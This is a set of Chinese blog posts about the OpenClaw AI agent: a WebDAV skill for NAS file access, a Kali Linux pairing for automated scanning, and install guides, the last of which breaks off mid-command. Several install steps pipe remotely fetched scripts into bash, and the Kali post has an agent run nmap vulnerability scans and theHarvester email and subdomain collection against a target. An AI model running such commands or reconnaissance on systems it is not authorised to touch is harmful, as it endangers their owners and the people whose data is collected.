[{"content":"🤔 为什么需要 WebDAV 技能？ 痛点 在使用 OpenClaw 构建 AI 团队的过程中，我遇到了一个棘手的问题：人机协同跨平台协作断裂，AI agent、本地文件、异地远程访问三者之间缺少桥梁，OpenClawAI 助手生成的东西在本地，我无法拿到，只能让它发邮件或让它放云盘或NAS ，但是AI 助手无法直接访问 NAS 存储。 具体场景包括：\n文件中转：AI 生成的文档需要先下载到本地，再手动上传到 NAS，流程繁琐 无法即时访问 NAS 资源：团队共享的模板、素材都在 NAS 上，AI 助手需要我手动搬运文件才能使用 备份自动化困难：想定期把 AI 生成的工作成果自动备份到 NAS，但没有现成方案 跨平台协作断裂：AI agent、本地文件、异地远程访问三者之间缺少桥梁 NAS作为个人的私有数据存储是家庭/团队存储的核心，有没有办法让它将工作成果直接放NAS上呢？这样既保密，空间又不受限制，资料共享也方便。如果能开发一个 OpenClaw 技能，让 AI 助手直接通过 WebDAV 读写 NAS 文件，以上问题就迎刃而解了。\n解决思路 OpenClaw 的技能（Skill）系统天然支持扩展。WebDAV 又是标准的文件访问协议，几乎所有 NAS 都支持。两者结合，就能实现： AI 助手 ↔ OpenClaw ↔ WebDAV 技能 ↔ NAS 存储\n🎯 功能设计 基于实际需求，WebDAV 技能需要具备以下核心能力：\n功能 说明 WebDAV 协议方法 📂 列出目录 查看 NAS 目录下的文件和子目录 PROPFIND (Depth: 1) 📤 文件上传 将本地文件上传到 NAS 指定路径 PUT 📥 文件下载 从 NAS 下载文件到本地 GET 🗑️ 文件删除 删除 NAS 上的文件或目录 DELETE 📁 创建目录 在 NAS 上创建新目录 MKCOL 📊 文件属性 查看文件大小、修改时间、类型 PROPFIND (Depth: 0) 🔌 连接测试 快速验证 NAS 连接是否正常 PROPFIND (Depth: 0) 关键特性 🔄 自动重试：HTTP 500/502/503/504 错误自动重试 3 次，退避策略避免雪崩 📈 进度条：上传下载大文件时实时显示进度，不再\u0026quot;干等\u0026quot; 🔐 双认证支持：Basic Auth + Digest Auth 自动降级 🛡️ SSL 灵活配置：默认开启证书验证，自签名环境可关闭 🇨🇳 中文路径友好：自动处理 URL 编码的中文路径 🗣️ 双模式调用：支持结构化命令和自然语言两种调用方式 ⚙️ 首次引导配置：第一次使用自动进入交互式配置向导 🛠️ 技术实现 项目结构\n1 2 3 4 5 6 7 webdav/ ├── SKILL.md # 技能描述和使用文档 ├── main.py # 核心代码（客户端 + 命令处理） ├── requirements.txt # Python 依赖（requests） ├── README.md # 项目说明 ├── .env # 配置文件（服务器地址、认证信息） └── .venv/ # Python 虚拟环境 核心架构 代码分为三层： 第一层：配置管理\n1 2 3 4 5 6 7 8 9 10 11 def load_config(): \u0026#34;\u0026#34;\u0026#34;加载配置：环境变量 \u0026gt; .env 文件\u0026#34;\u0026#34;\u0026#34; config = {} env_file = SKILL_DIR / \u0026#34;.env\u0026#34; if env_file.exists(): with open(env_file, encoding=\u0026#34;utf-8\u0026#34;) as f: for line in f: if line.strip() and not line.startswith(\u0026#34;#\u0026#34;) and \u0026#34;=\u0026#34; in line: key, value = line.split(\u0026#34;=\u0026#34;, 1) os.environ.setdefault(key.strip(), value.strip()) ... 配置加载优先级：构造函数参数 \u0026gt; 环境变量 \u0026gt; .env 文件 \u0026gt; 交互式向导。 第二层：WebDAV 客户端\n1 2 3 4 5 6 7 8 9 class WebDAVClient: def __init__(self, server, username, password, verify_ssl): # 构建带重试的 session self.session = requests.Session() retry = Retry(total=3, backoff_factor=0.5, status_forcelist=[500, 502, 503, 504]) adapter = HTTPAdapter(max_retries=retry) self.session.mount(\u0026#34;http://\u0026#34;, adapter) self.session.mount(\u0026#34;https://\u0026#34;, adapter) 每个操作（list/upload/download/delete/mkdir）对应一个 WebDAV HTTP 方法。 第三层：命令处理 支持两种调用模式：\n1 2 3 4 5 # 结构化命令 \u0026#34;upload local=/tmp/report.pdf remote=openclaw_sharedoc/report.pdf\u0026#34; # 自然语言命令 \u0026#34;上传 /tmp/report.pdf 到NAS openclaw_sharedoc/\u0026#34; 通过正则表达式匹配自然语言，转为结构化调用。 上传下载的进度条实现\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 def upload_file(self, local_path, remote_path, progress=True): file_size = os.path.getsize(local_path) def gen(): with open(local_path, \u0026#34;rb\u0026#34;) as f: uploaded = 0 chunk_size = 64 * 1024 # 64KB 分块 while True: chunk = f.read(chunk_size) if not chunk: break uploaded += len(chunk) yield chunk if progress and file_size \u0026gt; 0: pct = min(uploaded / file_size * 100, 100) bar = \u0026#34;█\u0026#34; * int(pct // 5) + \u0026#34;░\u0026#34; * (20 - int(pct // 5)) sys.stdout.write(f\u0026#34;\\r 上传 {filename}: [{bar}] {pct:.1f}%\u0026#34;) 使用 Python generator 实现流式上传，64KB 分块读写，兼顾内存效率和进度展示。\n📦 准备工作与安装部署 一、准备工作 前提是你的NAS 要开通配置WebDAV的文件共享协议，以下以飞牛NAS为例来配置WebDAV。 1.打开系统设置 \u0026gt; 2.找到文件共享协议 \u0026gt; 3.切换到WebDAV \u0026gt; 4.开启WebDAV \u0026gt; 5.设置可文件夹的范围（也就是设置共享目录） 配置好WebDAV服务后，可以配置ddns，让外网可以访问，如果不配就只能通过fnos提供的FN Connect来外网访问了。 配置好了WebDAV服务后就可以通过任意的终端来访问WebDAV的共享目录了。 ubuntu的WebDAV客户端的配置： MAC OS的WebDAV客户端的配置： 二、安装部署 获取技能代码 1 2 3 4 5 6 7 # 从 GitHub 克隆 cd /tmp git clone https://github.com/xiejava1018/myopenclaw-skills.git # 复制到 OpenClaw 技能目录 mkdir -p ~/.openclaw/skills cp -r /tmp/myopenclaw-skills/webdav ~/.openclaw/skills/webdav 安装 Python 依赖 1 2 3 4 5 6 7 # 安装 venv 支持（Ubuntu/Debian） sudo apt install python3.12-venv # 创建虚拟环境并安装依赖 cd ~/.openclaw/skills/webdav python3 -m venv .venv .venv/bin/pip install -r requirements.txt 配置 NAS 连接 创建 .env 配置文件： 1 2 3 4 5 6 cat \u0026gt; ~/.openclaw/skills/webdav/.env \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; WEBDAV_SERVER=https://192.168.0.18:5006 WEBDAV_USERNAME=your_username WEBDAV_PASSWORD=your_password WEBDAV_SSL_VERIFY=false EOF 测试连接 1 2 3 4 5 6 cd ~/.openclaw/skills/webdav WEBDAV_SERVER=https://192.168.0.18:5006 \\ WEBDAV_USERNAME=your_username \\ WEBDAV_PASSWORD=your_password \\ WEBDAV_SSL_VERIFY=false \\ .venv/bin/python3 main.py test 输出：\n1 2 3 4 5 ✅ WebDAV 连接正常 服务器: https://192.168.0.18:5006 用户名: xiejava HTTP 状态: 207 SSL 验证: 关闭 对于OpenClaw或Claude Code来说根本就不要这么麻烦，直接将skill的github地址https://github.com/xiejava1018/myopenclaw-skills/tree/master/webdav 发给它让它自己装就好了。\n在安装过程中会询问配置NAS的WebDAV地址、用户名和密码等连接信息，你可以告诉OpenClaw让它自动配置，当然你也可以不告诉它，自己手动在.env文件里去配置。 配置好后可以测试一下，让它列出NAS的Webdav共享的目录。 📖 使用指南 安装完成后就可以在OpenClaw或ClaudeCode中通过自然语言让AI agent直接它通过WebDAV操作NAS的共享目录了。\n自然语言使用 WebDAV 技能支持中文自然语言指令： 通过中文自然语言就可以告诉AI agent 操作NAS的webDAV的目录，写文件等。 列出NAS共享目录 列出NAS目录 openclaw_sharedoc 上传 /tmp/file.txt 到NAS openclaw_sharedoc/ 下载NAS文件 openclaw_sharedoc/file.txt 到 /tmp/ 删除NAS文件 openclaw_sharedoc/file.txt 创建NAS目录 openclaw_sharedoc/new_folder 查看NAS文件 openclaw_sharedoc/file.txt 的信息 测试NAS连接\n这样通过NAS的webDAV服务， AI agent 、本地电脑、异地的电脑，都可以通过webDAV服务共享文件。解决了AI团队跨平台协作的问题。 如：有个文件要处理，可以将这个文件放到webDAV共享目录，让openclaw或claude code处理，处理完后实时可以通过访问webDAV共享目录看到处理后的成果;要openclaw去网上收集材料整理文档后，让它将成果文档放到webDAV共享目录，你就可以实时看到它的成果等等。\n🌟 实战案例 案例 1：AI 生成文档自动备份到 NAS，作为团队共享 每天AI agent的工作成果自动保存到 NAS，不仅仅在AI agent的本地工作目录，实现了离线备份与团队共享： 效果：AI 助手生成的工作都自动归档到 NAS，再也不怕数据丢失，实现了离线备份与团队共享。\n案例 2：NAS 素材文件快速分发 团队在 NAS 上共享了模板文件，AI 助手可以直接读取： 效果：AI 助手直接从 NAS 拉取素材，无需人工中转。\n案例 3：定期清理 NAS 过期文件 配合 OpenClaw 的定时任务（HEARTBEAT.md），实现定期清理： 效果：NAS 存储空间自动管理，不需要手动清理。\n实战效果 我的OpenClaw是部署在云服务器上面的，我让OpenClaw写了篇博客文章， 让它形成.md的文档放到NAS的webDAV知识库的共享目录，OpenClaw自动调用了WebDAV的skill上传到了NAS的共享目录。 我本地的Ubuntu机器，就可以通过Trae直接访问NAS上的文档进行修改完善。 直接打开NAS上的文档进行编辑完善。 这样极大的提高了和AI agent人、机协同的效率。\n📊 兼容性 WebDAV 是开放标准协议，该技能兼容所有支持 WebDAV 的设备和服务：\n设备/服务 兼容性 群晖 (Synology) ✅ 威联通 (QNAP) ✅ 飞牛云 (fnOS) ✅ Nextcloud ✅ ownCloud ✅ RAIDrive ✅ macOS Server ✅ IIS WebDAV ✅ 💡 总结与展望 WebDAV 技能解决了 AI 助手与 NAS 存储之间的鸿沟，让文件管理变得自然流畅。核心价值：\n消除文件中转：AI 助手直接读写 NAS，省去手动搬运 统一存储管理：NAS 成为 AI 团队的共享文件中心 自动化备份：AI 生成的内容可以自动归档到 NAS 开放兼容：基于标准 WebDAV 协议，兼容所有主流 NAS 未来可以继续增强的方向：\n支持文件搜索（按名称/时间/类型） 增加同步功能（双向同步指定目录） 集成到 OpenClaw 定时任务，实现全自动备份 支持多 WebDAV 服务器配置切换 📝 技能开源地址：https://github.com/xiejava1018/myopenclaw-skills/tree/master/webdav\n直接让OpenClaw或Claude Code安装后就可以使用。\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2026-04-11-%E5%86%99%E4%BA%86%E4%B8%80%E4%B8%AAwebdav%E7%9A%84skill%E8%A7%A3%E5%86%B3openclawai%E5%8A%A9%E6%89%8B%E8%B7%A8%E5%B9%B3%E5%8F%B0%E5%8D%8F%E4%BD%9C%E9%9A%BE%E9%A2%98/","summary":"\u003ch1 id=\"-为什么需要-webdav-技能\"\u003e🤔 为什么需要 WebDAV 技能？\u003c/h1\u003e\n\u003ch1 id=\"痛点\"\u003e痛点\u003c/h1\u003e\n\u003cp\u003e在使用 OpenClaw 构建 AI 团队的过程中，我遇到了一个棘手的问题：人机协同跨平台协作断裂，AI agent、本地文件、异地远程访问三者之间缺少桥梁，OpenClawAI 助手生成的东西在本地，我无法拿到，只能让它发邮件或让它放云盘或NAS ，但是AI 助手无法直接访问 NAS 存储。\n具体场景包括：\u003c/p\u003e","title":"写了一个WebDAV的Skill解决OpenClawAI助手跨平台协作难题"},{"content":"前言 作为一个混迹安全圈多年的博主，我用过不少工具：Nmap 跑端口、Metasploit 打漏洞、Burp Suite 抓包\u0026hellip; 但说真的，命令行敲久了真的会腻。\n直到我给 Kali Linux 装上了一个 AI 大脑——OpenClaw。\n今天不聊理论，直接上硬菜：Kali + OpenClaw 能碰撞出什么火花？\n一、你还在手敲 Nmap 吗？ 想象这样一个场景：\n老板：\u0026ldquo;把我们内网的资产理一下，明天汇报。\u0026rdquo;\n你：\u0026ldquo;好的\u0026hellip; \u0026ldquo;（内心：一百多台机器，手动扫要到猴年马月？）\n以前你可能这样：\n1 nmap -sn 192.168.0.0/24 -oG - | grep \u0026#34;Up\u0026#34; 然后对着几十行 IP 地址开始手动整理，复制到 Excel，再一条条查端口\u0026hellip;\n现在，你只需要说一句话：\n\u0026#34;帮我扫描 192.168.0.0/24 网段，把在线主机记录到飞书表格\u0026#34; 然后你就去泡咖啡了 ☕，OpenClaw 自动完成：\n✅ 调用 Nmap 扫描 ✅ 提取在线主机 ✅ 写入飞书多维表格 ✅ 标记新发现/离线设备 3 分钟？你连咖啡还没泡好。\n二、OpenClaw 是什么？ 简单说：OpenClaw 是一个运行在本地的 AI 助手框架，类似给电脑装了一个 ChatGPT，但它是任务导向的——不只会聊天，真的能帮你干活。\n核心能力：\n能力 说明 🤖 AI 对话 支持多种大模型（MiniMax、Claude 等） 🔧 工具调用 可以调用系统命令、读写文件、操作飞书/邮件等 🔄 自动化 把重复工作编排成自动化流程 🧠 记忆 跨 Session 记住你的偏好和上下文 而它最让我惊喜的是：它在 Kali 上简直是天作之合。\n三、Kali + OpenClaw = 安全研究员外挂 场景 1：一句话生成渗透测试报告 以前：\n手动扫描 → 记录结果 → 整理报告 → 导出 PDF 一套流程下来 2 小时起步 现在：\n\u0026#34;对 192.168.0.0/24 做一次安全评估，重点关注 Web 服务和开放端口\u0026#34; OpenClaw 会：\n调用 Nmap 扫描端口 使用 nikto 检测 Web 漏洞 识别服务版本 自动生成中文报告 推送到飞书/邮件 场景 2：社交工程自动化 \u0026#34;帮我收集 target.com 的子域名和邮箱\u0026#34; OpenClaw 调用：\ntheHarvester - 邮箱收集 amass / dig - 子域名枚举 whois - 注册信息 结果自动整理成表格。\n场景 3：漏洞优先级排序 \u0026#34;扫描内网 Web 服务器，列出所有发现，按风险等级排序\u0026#34; 配合 nmap --script vuln，结果自动入库，飞书收到高危告警：\n🔴 高危：192.168.0.50 - Apache Struts2 CVE-2023-xxxx 🟡 中危：192.168.0.101 - 心脏出血漏洞\n四、安装与配置（手把手） 1. 安装 OpenClaw 1 2 3 4 5 # 一键安装（Linux/macOS） curl -fsSL https://get.openclaw.ai | bash # 启动网关 openclaw gateway start 2. 连接 Kali OpenClaw 支持多种平台，在 Kali 上直接安装即可：\n1 2 sudo apt install openclaw openclaw config set channel feishu # 对接飞书（可选） 3. 开始对话 1 openclaw chat 然后就像聊天一样指挥它干活。\n五、实际效果展示 这是我今天的截图：\nAsk: \u0026ldquo;请对内网进行扫描，并将扫描结果发邮件给我\u0026rdquo;\nOpenClaw 回复： 如下图： 已经帮你分析好了，不是让你自己看数据。\n这是OpenClaw发的邮件的内容。 也可以让OpenClaw将具体的数据整理到飞书多维表格了，当然也可以帮你写到数据库。 相关的skill已经写好放到了github上，可以让openclaw直接安装 见https://github.com/xiejava1018/myopenclaw-skills/tree/master/network-scan 六、适合人群 群体 为什么需要 🔒 安全研究员 自动化渗透测试流程，省时省力 🏢 企业安全团队 资产管理、巡检报告、告警响应 🎓 CTF 选手 快速信息收集、漏洞验证 👨‍💻 运维工程师 基线检查、合规扫描 七、局限性与注意事项 说实话，不能光吹不黑：\nAI 会出错：模型可能误判漏洞风险，需要人工复核 工具依赖：OpenClaw 本身不创造工具，得 Kali 有的它才能用 安全边界：处理敏感数据时注意脱敏，不要把密码交给 AI 授权原则：扫描需授权，不要动别人的系统 结语 Kali 是安全研究员的瑞士军刀，OpenClaw 则是它的智能引擎。\n以前我们说\u0026quot;工具是死的，人是活的\u0026rdquo;——现在 AI 时代，这句话该改改了：工具 + AI = 你多了个 24 小时不睡觉的安全助手。\n如果你也想让 Kali 开口说话，也可以像我一样给他装上OpenClaw随时召唤它干活。\n彩蛋：博主已经用这套组合管理内网资产 1 个月，巡检效率提升 80%，报告生成从 2 小时压缩到 5 分钟。真香定律，亲测有效。\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2026-03-24-kali+openclaw%E8%AE%A9%E5%AE%89%E5%85%A8%E5%B7%A5%E5%85%B7%E7%9C%9F%E6%AD%A3%E6%B4%BB%E8%BF%87%E6%9D%A5/","summary":"\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\n\u003cp\u003e作为一个混迹安全圈多年的博主，我用过不少工具：Nmap 跑端口、Metasploit 打漏洞、Burp Suite 抓包\u0026hellip; 但说真的，\u003cstrong\u003e命令行敲久了真的会腻\u003c/strong\u003e。\u003c/p\u003e","title":"OpenClaw：让安全工具真正「活」过来"},{"content":"🦞 OpenClaw 小白安装部署完全指南 作者：小强（Xiejava的AI助手）\n更新时间：2026-03-10\n适用版本：OpenClaw 2026.2.x\n难度等级：⭐⭐☆☆☆（适合新手）\n📖 目录 OpenClaw 是什么？ 安装前准备 一键安装 初次配置 启动和使用 避坑指南 进阶配置 常见问题 1. OpenClaw 是什么？ OpenClaw 是一个开源的 AI 助手平台，让你的 AI 可以：\n✅ 连接多种消息平台（飞书、微信、Discord、Telegram 等） ✅ 执行系统命令和脚本 ✅ 访问文件系统和云存储 ✅ 通过技能系统扩展能力 ✅ 支持多种大模型（OpenAI、智谱AI、豆包等） 核心优势：\n🎯 本地运行：数据在你自己手中，隐私安全 🔧 高度可定制：通过技能系统扩展功能 🤖 多模型支持：不绑定单一 AI 服务商 💬 多渠道接入：一个 AI 助手，多个聊天平台 2. 安装前准备 2.1 系统要求 项目 最低要求 推荐配置 操作系统 Ubuntu 18.04+ / macOS 10.15+ Ubuntu 22.04 LTS 内存 2GB 4GB+ 磁盘空间 1GB 5GB+ Node.js v18+ v20+ LTS 2.2 检查环境 打开终端，依次执行：\n1 2 3 4 5 6 7 8 9 10 11 # 1. 检查 Node.js 版本 node --version # 应该显示 v18.x.x 或更高 # 2. 检查 npm 版本 npm --version # 应该显示 9.x.x 或更高 # 3. 检查系统架构 uname -m # x86_64 (Intel/AMD) 或 arm64 (Apple Silicon) 2.3 安装 Node.js（如果没有） Ubuntu/Debian:\n1 2 3 4 5 6 7 # 使用 NodeSource 仓库（推荐） curl -fsSL https://deb.nodesource.com/setup_20.x | sudo -E bash - sudo apt-get install -y nodejs # 验证安装 node --version npm --version macOS:\n1 2 3 4 5 # 使用 Homebrew brew install node # 或使用官方安装包 # 下载地址: https://nodejs.org/ 3. 一键安装 3.1 使用 npm 安装（推荐） 1 2 3 4 5 6 # 全局安装 OpenClaw sudo npm install -g openclaw # 验证安装 openclaw --version # 应该显示: 🦞 OpenClaw 2026.x.x 3.2 使用 npx（无需安装） 1 2 # 临时运行，适合测试 npx openclaw configure 4. 初次配置 4.1 启动配置向导 1 2 # 启动交互式配置 openclaw configure 4.2 配置步骤 第 1 步：选择默认模型\n? Choose your default AI model: (Use arrow keys) ❯ openai/gpt-4 # OpenAI GPT-4（需要 API Key） openai/gpt-3.5-turbo # OpenAI GPT-3.5（便宜快速） zhipuai/glm-4 # 智谱AI GLM-4（国内推荐） anthropic/claude-3 # Anthropic Claude 3 建议：\n国内用户选择 zhipuai/glm-4（稳定、便宜） 有 OpenAI API Key 的选择 openai/gpt-4 第 2 步：输入 API Key\n? Enter your API key for zhipuai: sk-xxxxxxxxxxxxxx 获取 API Key：\n智谱AI：https://open.bigmodel.cn/ OpenAI：https://platform.openai.com/api-keys 第 3 步：选择消息平台（可选）\n? Which platforms do you want to enable? (Press space to select) ◉ Feishu # 飞书机器人 ◯ Telegram # Telegram Bot ◯ Discord # Discord Bot ◯ WhatsApp # WhatsApp 建议： 初次使用先跳过，后续再配置\n4.3 配置文件位置 1 2 3 4 5 6 7 8 # 主配置文件 ~/.openclaw/openclaw.json # API Key 存储位置 ~/.openclaw/credentials/ # 工作空间（记忆、技能等） ~/.openclaw/workspace/ 5. 启动和使用 5.1 启动 Gateway 服务 1 2 3 4 5 6 # 启动服务 openclaw gateway start # 检查状态 openclaw gateway status # 应该显示: Gateway is running on http://localhost:19000 5.2 打开 Web 界面 1 2 3 4 5 # 打开控制面板 openclaw dashboard # 或手动访问 # http://localhost:19000 5.3 命令行对话 1 2 3 4 5 6 7 8 # 直接在终端对话 openclaw chat # 指定模型 openclaw chat --model zhipuai/glm-4 # 退出对话 输入 exit 或按 Ctrl+C 5.4 常用命令 1 2 3 4 5 6 7 8 9 10 11 12 13 14 # 查看帮助 openclaw --help # 查看版本 openclaw --version # 查看配置 openclaw config get # 重启服务 openclaw gateway restart # 查看日志 openclaw gateway logs --tail 50 6. 避坑指南 🚨 坑点 1：API Key 泄露 问题： 不小心把 API Key 提交到 Git 仓库\n解决方案：\n1 2 3 4 5 6 7 8 9 10 11 12 13 # 1. 永远不要在代码中硬编码 API Key # ❌ 错误示例 const apiKey = \u0026#34;sk-xxxxxxxxxx\u0026#34;; # ✅ 正确做法：使用环境变量或配置文件 # 2. 添加到 .gitignore echo \u0026#34;credentials/\u0026#34; \u0026gt;\u0026gt; ~/.openclaw/workspace/.gitignore echo \u0026#34;*.json\u0026#34; \u0026gt;\u0026gt; ~/.openclaw/workspace/.gitignore # 3. 设置文件权限 chmod 700 ~/.openclaw/credentials chmod 600 ~/.openclaw/credentials/*.json 🚨 坑点 2：端口冲突 问题： Gateway 启动失败，提示端口被占用\n解决方案：\n1 2 3 4 5 6 7 8 9 10 # 1. 查看端口占用 sudo lsof -i :19000 # 或 sudo netstat -tulpn | grep 19000 # 2. 杀掉占用进程 sudo kill -9 \u0026lt;PID\u0026gt; # 3. 或修改 Gateway 端口 openclaw gateway start --port 19001 🚨 坑点 3：权限问题 问题： 全局安装时权限错误\n解决方案：\n1 2 3 4 5 6 7 8 9 10 11 # 方法1：使用 sudo（简单粗暴） sudo npm install -g openclaw # 方法2：修改 npm 全局目录（推荐） mkdir ~/.npm-global npm config set prefix \u0026#39;~/.npm-global\u0026#39; echo \u0026#39;export PATH=~/.npm-global/bin:$PATH\u0026#39; \u0026gt;\u0026gt; ~/.bashrc source ~/.bashrc # 然后就可以不用 sudo 了 npm install -g openclaw 🚨 坑点 4：Node.js 版本过低 问题： 安装失败，提示 Node.js 版本不兼容\n解决方案：\n1 2 3 4 5 6 7 8 9 10 # 使用 nvm 管理 Node.js 版本 curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.0/install.sh | bash source ~/.bashrc # 安装最新 LTS 版本 nvm install --lts nvm use --lts # 验证 node --version # 应该显示 v20.x.x 或更高 🚨 坑点 5：飞书 Bot 配置复杂 问题： 飞书机器人配置步骤多，容易出错\n解决方案：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # 1. 创建飞书应用 # 访问：https://open.feishu.cn/app # 创建企业自建应用 # 2. 获取凭证 # App ID 和 App Secret # 3. 配置权限（至少需要） # - contact:user.base:readonly # - im:message # - im:message:send_as_bot # 4. 配置 OpenClaw openclaw configure --section channels.feishu # 5. 测试连接 openclaw channels test feishu 详细教程： https://docs.openclaw.ai/channels/feishu\n🚨 坑点 6：内存不足 问题： 运行一段时间后系统卡顿\n解决方案：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 # 1. 检查内存使用 free -h # 2. 限制并发会话数 # 编辑 ~/.openclaw/openclaw.json { \u0026#34;agent\u0026#34;: { \u0026#34;maxConcurrentSessions\u0026#34;: 3 } } # 3. 定期清理日志 openclaw gateway logs --clear # 4. 使用轻量模型 openclaw chat --model glm-4-flash 🚨 坑点 7：Git 仓库污染 问题： 在 workspace 中初始化 Git，导致配置泄露\n解决方案：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # 1. 永远不要在 ~/.openclaw/ 根目录执行 git init # ❌ 错误 cd ~/.openclaw \u0026amp;\u0026amp; git init # 2. 只在 workspace 子目录管理技能 cd ~/.openclaw/workspace/skills/my-skill git init # 3. 使用独立的技能仓库 git clone git@github.com:yourname/my-skills.git ~/.openclaw/workspace/skills # 4. 清理 Git 历史中的敏感信息 git filter-branch --force --index-filter \\ \u0026#39;git rm --cached --ignore-unmatch credentials/*.json\u0026#39; \\ --prune-empty --tag-name-filter cat -- --all 7. 进阶配置 7.1 多模型切换 1 2 3 4 5 6 7 8 9 10 11 # 查看可用模型 openclaw config models # 临时切换模型 openclaw chat --model openai/gpt-4 # 设置默认模型 openclaw config set defaultModel zhipuai/glm-4 # 在对话中切换 /model openai/gpt-4 7.2 安装技能 1 2 3 4 5 6 7 8 9 10 11 # 搜索技能 openclaw skills search weather # 安装技能 openclaw skills install weather # 查看已安装技能 openclaw skills list # 更新技能 openclaw skills update weather 推荐技能：\nweather - 天气查询 github - GitHub 操作 himalaya - 邮件管理 healthcheck - 系统健康检查 7.3 配置定时任务 1 2 3 4 5 6 7 8 # 添加定时任务 openclaw cron add \u0026#34;0 8 * * *\u0026#34; \u0026#34;每天早上8点提醒\u0026#34; # 查看定时任务 openclaw cron list # 删除定时任务 openclaw cron remove \u0026lt;job-id\u0026gt; 7.4 配置多渠道 飞书：\n1 2 openclaw configure --section channels.feishu # 输入 App ID 和 App Secret Telegram：\n1 2 openclaw configure --section channels.telegram # 输入 Bot Token（从 @BotFather 获取） Discord：\n1 2 openclaw configure --section channels.discord # 输入 Bot Token 8. 常见问题 Q1: Gateway 启动失败怎么办？ 1 2 3 4 5 6 7 8 9 10 11 12 # 1. 查看详细错误 openclaw gateway start --verbose # 2. 检查端口 sudo lsof -i :19000 # 3. 检查配置文件 openclaw config validate # 4. 重置配置（慎用） rm ~/.openclaw/openclaw.json openclaw configure Q2: API 调用失败？ 1 2 3 4 5 6 7 8 9 10 11 12 # 1. 检查 API Key cat ~/.openclaw/credentials/zhipuai.json # 2. 测试 API 连接 curl -H \u0026#34;Authorization: Bearer YOUR_API_KEY\u0026#34; \\ https://open.bigmodel.cn/api/paas/v4/models # 3. 检查余额 # 登录对应平台查看余额 # 4. 查看日志 openclaw gateway logs --tail 100 | grep error Q3: 如何更新 OpenClaw？ 1 2 3 4 5 6 7 8 9 # 更新到最新版本 sudo npm update -g openclaw # 或重新安装 sudo npm uninstall -g openclaw sudo npm install -g openclaw # 检查版本 openclaw --version Q4: 如何备份数据？ 1 2 3 4 5 6 7 8 # 备份整个配置目录 tar -czf openclaw-backup-$(date +%Y%m%d).tar.gz ~/.openclaw # 只备份重要文件 tar -czf openclaw-config.tar.gz \\ ~/.openclaw/openclaw.json \\ ~/.openclaw/credentials/ \\ ~/.openclaw/workspace/MEMORY.md Q5: 如何完全卸载？ 1 2 3 4 5 6 7 8 9 10 11 # 1. 停止服务 openclaw gateway stop # 2. 卸载 npm 包 sudo npm uninstall -g openclaw # 3. 删除数据（可选） rm -rf ~/.openclaw # 4. 删除配置（可选） rm -rf ~/.config/openclaw 🎉 恭喜！ 你已经完成了 OpenClaw 的安装和配置！\n接下来可以：\n📚 阅读官方文档：https://docs.openclaw.ai 🧩 探索技能市场：https://clawhub.com 💬 加入社区：https://discord.com/invite/clawd 🐛 反馈问题：https://github.com/openclaw/openclaw/issues 📝 总结 安装步骤回顾：\n✅ 安装 Node.js (v18+) ✅ 安装 OpenClaw (npm install -g openclaw) ✅ 运行配置向导 (openclaw configure) ✅ 启动 Gateway (openclaw gateway start) ✅ 开始对话 (openclaw chat 或 openclaw dashboard) 重要提醒：\n🔐 保护好 API Key，不要提交到 Git 🌐 国内用户记得配置代理 💡 遇到问题先查看日志 (openclaw gateway logs) 📖 多看文档，少走弯路 其实部署open claw最方便最靠谱的办法就是用claude code帮你部署，只要将部署要求给到claude code，它一定会很好的帮你完成。具体claude code的安装见《Claude Code安装教程（小白版）》\n我已经部署了3个open claw,分别是AI规划工程师、AI软件工程师、AI安全工程师，并且将他们拉到一个群里组建了“XieJava的AI团队”让各位AI agent 帮我干活了，小伙伴们赶紧把open claw装起来！\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2026-03-10-openclaw%E5%B0%8F%E7%99%BD%E5%AE%89%E8%A3%85%E9%83%A8%E7%BD%B2%E5%AE%8C%E5%85%A8%E6%8C%87%E5%8D%97/","summary":"\u003ch1 id=\"-openclaw-小白安装部署完全指南\"\u003e🦞 OpenClaw 小白安装部署完全指南\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003e作者\u003c/strong\u003e：小强（Xiejava的AI助手）\u003cbr\u003e\n\u003cstrong\u003e更新时间\u003c/strong\u003e：2026-03-10\u003cbr\u003e\n\u003cstrong\u003e适用版本\u003c/strong\u003e：OpenClaw 2026.2.x\u003cbr\u003e\n\u003cstrong\u003e难度等级\u003c/strong\u003e：⭐⭐☆☆☆（适合新手）\u003c/p\u003e","title":"OpenClaw小白安装部署完全指南"},{"content":"什么是 Claude Code？ Claude Code 是一个智能编码助手，它可以在你的命令行终端中运行。你可以像和真人聊天一样，用自然语言告诉它你想做什么（比如\u0026quot;帮我写一个函数\u0026quot;、\u0026ldquo;修复这个bug\u0026rdquo;），它会自动帮你完成代码编写、调试、重构等任务。\n主要特点：\n在终端中直接对话，无需切换窗口 自动读取和理解你的项目代码 可以直接修改文件、执行命令 支持 GLM Coding Plan（智谱 AI 的模型） 前置准备 1. 安装 Node.js（必需） Claude Code 需要 Node.js 18 或更高版本。\n检查是否已安装 Node.js 打开终端（Terminal），输入：\n1 2 node --version npm --version 如果显示版本号（如 v18.x.x 或 v20.x.x），说明已安装，可以跳过这一步 如果提示\u0026quot;命令未找到\u0026quot;，需要先安装 Node.js 安装 Node.js Mac 用户推荐方式：使用 nvm（版本管理器）\nnvm 可以让你在同一台电脑上安装和管理多个 Node.js 版本。\n安装 nvm： 1 curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.0/install.sh | bash 重新打开终端，或执行以下命令使 nvm 生效： 1 2 export NVM_DIR=\u0026#34;$HOME/.nvm\u0026#34; [ -s \u0026#34;$NVM_DIR/nvm.sh\u0026#34; ] \u0026amp;\u0026amp; \\. \u0026#34;$NVM_DIR/nvm.sh\u0026#34; 安装最新的 Node.js LTS 版本： 1 2 nvm install --lts nvm use lts 设置为默认版本： 1 nvm alias default lts/* Mac 用户备用方式：使用 Homebrew\n1 2 3 4 5 # 如果没有安装 Homebrew，先安装它 /bin/bash -c 